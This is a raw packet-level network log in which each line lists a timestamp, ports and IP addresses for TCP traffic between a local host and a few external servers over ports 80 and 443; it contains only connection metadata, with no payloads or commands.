Dec 20, 2024 02:11:14.387160063 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.387211084 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.387352943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.387459040 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.387608051 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.387661934 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.388695955 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.388726950 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.388751984 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.388775110 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.389813900 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.389831066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.389884949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.390898943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.390914917 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.390975952 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.391006947 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.391990900 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.392005920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.392051935 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.392534971 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.392591953 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.393037081 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.393098116 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.393590927 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.393637896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.393665075 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.393707991 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.394654989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.394726992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.394782066 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.395716906 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.395770073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.396044016 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.396089077 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.396776915 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.396822929 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.396855116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.396923065 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.397747993 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.397799969 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.397912025 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.397959948 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.398811102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.398861885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.398977995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.399032116 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.399872065 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.399929047 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.399971008 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.400017023 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.400886059 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.400933981 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.401480913 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.401530027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.402184963 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.402199984 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.402244091 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.403357983 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.403373003 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.403429985 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.403475046 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.404772043 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.404788017 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.404853106 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.405303955 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.405318022 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.405361891 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.405407906 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.406286955 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.406301975 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.406343937 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.406358004 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.407154083 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.407218933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.407239914 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.407282114 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.408126116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.408185959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.408220053 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.408260107 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.409126043 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.409183025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.409281015 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.409789085 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.410293102 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.410347939 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.410521984 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.410634041 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.411601067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.411617994 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.411669970 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.411706924 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.412287951 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.412385941 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.412391901 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.412738085 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.413357973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.413398981 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.413450956 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.414465904 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.414482117 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.414532900 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.415396929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.415458918 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.415484905 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.415525913 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.416639090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.416654110 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.416685104 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.416708946 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.417712927 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.417813063 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.555193901 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.555213928 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.555304050 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.555614948 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.555666924 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.555737019 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.556605101 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.556724072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.556797981 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.557643890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.557742119 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.557780981 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.557842016 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.558698893 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.558760881 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.558770895 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.558825016 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.559676886 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.559737921 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.559809923 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.560750961 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.560810089 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.560832024 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.560889959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.561809063 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.561865091 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.561872959 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.561918974 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.562855005 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.562896967 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.562916040 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.562947989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.563870907 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.563946009 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.563967943 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.564028025 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.564893961 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.564975023 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.564976931 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.565037012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.565958977 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.566034079 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.566140890 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.566201925 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.566937923 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.567009926 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.567044973 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.567107916 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.568037987 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.568120956 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.568134069 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.568180084 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.569036961 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.569108963 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.569128036 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.569191933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.570110083 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.570175886 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.570200920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.570270061 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.571101904 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.571193933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.571213961 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.571271896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.572300911 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.572315931 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.572366953 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.573446989 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.573462009 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.573507071 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.573545933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.574372053 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.574387074 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.574445009 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.575350046 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.575398922 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.575414896 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.575454950 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.576348066 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.576611996 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.576670885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.577310085 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.577363968 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.577445030 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.577502012 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.578382969 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.578466892 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.578474998 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.578531981 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.579390049 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.579448938 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.579612017 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.579668999 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.580513954 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.580528975 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.580583096 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.581479073 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.581537008 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.581610918 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.581667900 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.582499981 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.582565069 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.582633018 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.582695961 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.583555937 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.583621979 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.583659887 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.583719015 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.584614038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.584675074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.584692001 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.584748983 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.585839987 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.585939884 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.586002111 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.586850882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.586944103 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.586985111 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.587049007 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.587692976 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.587758064 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.587814093 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.587867022 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.588774920 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.588852882 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.588924885 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.589859009 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.589934111 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.589951038 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.590003014 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.590886116 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.590919018 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.590946913 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.590980053 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.591875076 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.592072010 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.592155933 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.592868090 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.593005896 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.593075037 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.593935013 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.594000101 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.594136953 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.594197989 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.594996929 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.595056057 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.595118999 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.595181942 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.596095085 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.596110106 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.596158028 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.597064972 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.597450972 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.597512960 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.598062992 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.598125935 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.598449945 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.598510027 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.599154949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.599200964 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.599241018 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.599266052 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.600136995 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.600271940 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.600331068 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.601221085 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.601283073 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.601322889 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.601403952 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.602214098 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.602305889 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.602314949 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.602360964 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.603280067 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.603364944 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.603389978 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.603450060 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.604351997 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.604434967 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.604518890 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.605396032 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.605468988 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.605474949 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.605531931 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.606373072 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.606456041 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.606494904 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.606550932 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:14.607362032 CET	80	49831	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:14.607428074 CET	49831	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:17.071177959 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:17.071599007 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:17.191061974 CET	80	49850	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:17.191154003 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:17.191334963 CET	80	49825	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:17.191423893 CET	49825	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:17.191528082 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:17.311101913 CET	80	49850	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:17.696115017 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:17.696172953 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:17.696289062 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:17.697921038 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:17.697931051 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:18.542212963 CET	80	49850	185.215.113.43	192.168.2.5
Dec 20, 2024 02:11:18.542272091 CET	49850	80	192.168.2.5	185.215.113.43
Dec 20, 2024 02:11:18.547430038 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:18.666889906 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:18.666963100 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:18.667501926 CET	49855	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:18.786922932 CET	80	49855	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:18.915271044 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:18.915374041 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:18.917360067 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:18.917363882 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:18.917581081 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:18.960810900 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.033628941 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.033663034 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.033741951 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.778377056 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.778450012 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.778517008 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.780951023 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.780965090 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.780978918 CET	49853	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:19.780983925 CET	443	49853	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:19.804024935 CET	49860	443	192.168.2.5	172.67.179.109
